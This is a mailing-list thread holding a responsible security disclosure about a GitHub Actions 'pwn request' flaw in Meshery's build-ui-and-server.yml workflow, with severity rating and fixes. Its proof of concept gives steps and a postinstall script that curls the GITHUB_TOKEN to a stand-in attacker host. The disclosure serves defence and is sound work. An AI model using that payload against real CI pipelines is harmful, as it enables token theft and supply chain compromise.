Security Disclosure — meshery/meshery build-ui-and-server.yml (Pwn Request)

2 views
Skip to first unread message

Christopher Lusk

unread,
Mar 24, 2026, 1:12:03 PM (13 days ago) Mar 24
to secu...@meshery.dev
Subject: Security Disclosure — meshery/meshery build-ui-and-server.yml (Pwn Request)

Hi Meshery Security Team,

I'm Christopher Lusk, a security researcher. I'm reporting a CI/CD workflow vulnerability in meshery/meshery that allows any GitHub user to execute arbitrary code in the CI runner by opening a malicious pull request.


SUMMARY

The build-ui-and-server.yml workflow uses pull_request_target to check out fork code and runs make ui-build, which executes npm install on the fork's package.json. Any GitHub user can achieve arbitrary code execution via a poisoned preinstall/postinstall script. No label gate, no environment approval, no fork guard. The workflow has read-all permissions, limiting the token blast radius, but code execution on the runner is ungated.

This is the same vulnerability class exploited in the Trivy supply chain compromise (March 2026): https://github.com/aquasecurity/trivy/discussions/10425


DETAILS

File: .github/workflows/build-ui-and-server.yml
Job: ui-build
Trigger: pull_request_target, types: [opened, synchronize, reopened] — fires on every fork PR
Checkout ref: ${{ github.event.pull_request.head.sha }} — checks out fork code
Execution: make ui-build → runs npm install + npm run build in ui/ and provider-ui/ directories. The attacker controls package.json in both directories, including lifecycle scripts (preinstall, install, postinstall).
Permissions: read-all (workflow-level)

Job if: github.repository == 'meshery/meshery' — this is a repo identity check, not a fork guard. It verifies the workflow is running on the meshery repo (not a fork of the repo itself), but does NOT prevent fork PRs from triggering execution.

No defensive controls detected: no label gate, no environment protection, no permission check, no fork guard.

Additional concern: The ui-build job produces artifacts that are consumed by the tests-ui-e2e job, which has an environment gate and access to secrets (PROVIDER_TOKEN, CYPRESS_RECORD_KEY). While the E2E job itself is gated, a compromised ui-build job could poison artifacts that flow into the privileged E2E job.


PoC (NOT EXECUTED)

1. Fork meshery/meshery
2. Edit ui/package.json to add a malicious postinstall script:

   {
     "scripts": {
       "postinstall": "curl -sSfL -X POST --data \"token=$GITHUB_TOKEN\" https://attacker.example.com/exfil"
     }
   }

3. Open a pull request targeting the master branch
4. build-ui-and-server.yml triggers via pull_request_target
5. The ui-build job checks out the fork code and runs make ui-build
6. npm install executes the malicious postinstall script with access to the GITHUB_TOKEN (read-all) and all environment variables


IMPACT

- Arbitrary code execution in the GitHub-hosted CI runner
- GITHUB_TOKEN exfiltration (read-all permissions — can read repository contents)
- Network-based exfiltration of environment data
- Potential artifact poisoning vector into the E2E job which has access to PROVIDER_TOKEN and CYPRESS_RECORD_KEY
- Meshery is a CNCF incubating project with ~38k stars — a compromise could affect the project's release integrity

Severity: High (CVSS 3.1: 8.6 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
CWE: CWE-829 (Inclusion of Functionality from Untrusted Control Sphere)

Note: The read-all permission scope limits the direct blast radius compared to write-all configurations, but code execution is the primary risk and the artifact poisoning path to the E2E secrets is a concern.


RECOMMENDED FIXES

1. Add a fork guard to the ui-build job:
   if: github.event.pull_request.head.repo.full_name == github.repository

2. Better: Switch to the pull_request trigger for the build job. The pull_request trigger sandboxes fork code with a read-only token and no secret access. Use workflow_run if downstream jobs need elevated permissions.

3. Review the artifact flow from ui-build → tests-ui-e2e to ensure poisoned build artifacts cannot compromise the E2E job's secrets.

Note: The build-and-preview-docs.yml workflow was also flagged by my scanner but manual triage confirmed it is properly isolated — fork code builds in a secretless job with contents:read and persist-credentials: false, and the deploy job checks out the base repo. No action needed on that workflow.

Reference: https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/
Identified by: Fluxgate (https://github.com/north-echo/fluxgate)
Disclosure protocol: https://github.com/north-echo/fluxgate/blob/main/DISCLOSURE.md

Happy to discuss remediation or provide additional details.

Best,
Christopher Lusk
GitHub: @north-echo

--
You received this message because you are subscribed to the Google Groups "Meshery Security and Vulnerability Reports" group.
To unsubscribe from this group and stop receiving emails from it, send an email to security+u...@meshery.dev.
To view this discussion visit https://groups.google.com/a/meshery.dev/d/msgid/security/CALgo1C9QujGAgoYsEqPKfNfe6tSyifURJ5M8kAJDo_w2zOsGFA%40mail.gmail.com.

Lee Calcote

unread,
Mar 24, 2026, 1:24:37 PM (13 days ago) Mar 24
to Meshery Maintainers
Hi Ian,

You’re at leisure to say “no”: Would you like to respond to and own this vulnerability report?

Regards,
Lee

Begin forwarded message:
--
Visit and engage with the Meshery community in the forum at http://discuss.meshery.io or in Slack at https://slack.meshery.io.
---
You received this message because you are subscribed to the Google Groups "Meshery Maintainers" group.
To unsubscribe from this group and stop receiving emails from it, send an email to maintainers...@meshery.io.
To view this discussion visit https://groups.google.com/a/meshery.io/d/msgid/maintainers/CALgo1C9QujGAgoYsEqPKfNfe6tSyifURJ5M8kAJDo_w2zOsGFA%40mail.gmail.com.

Reply all
Reply to author
Forward
0 new messages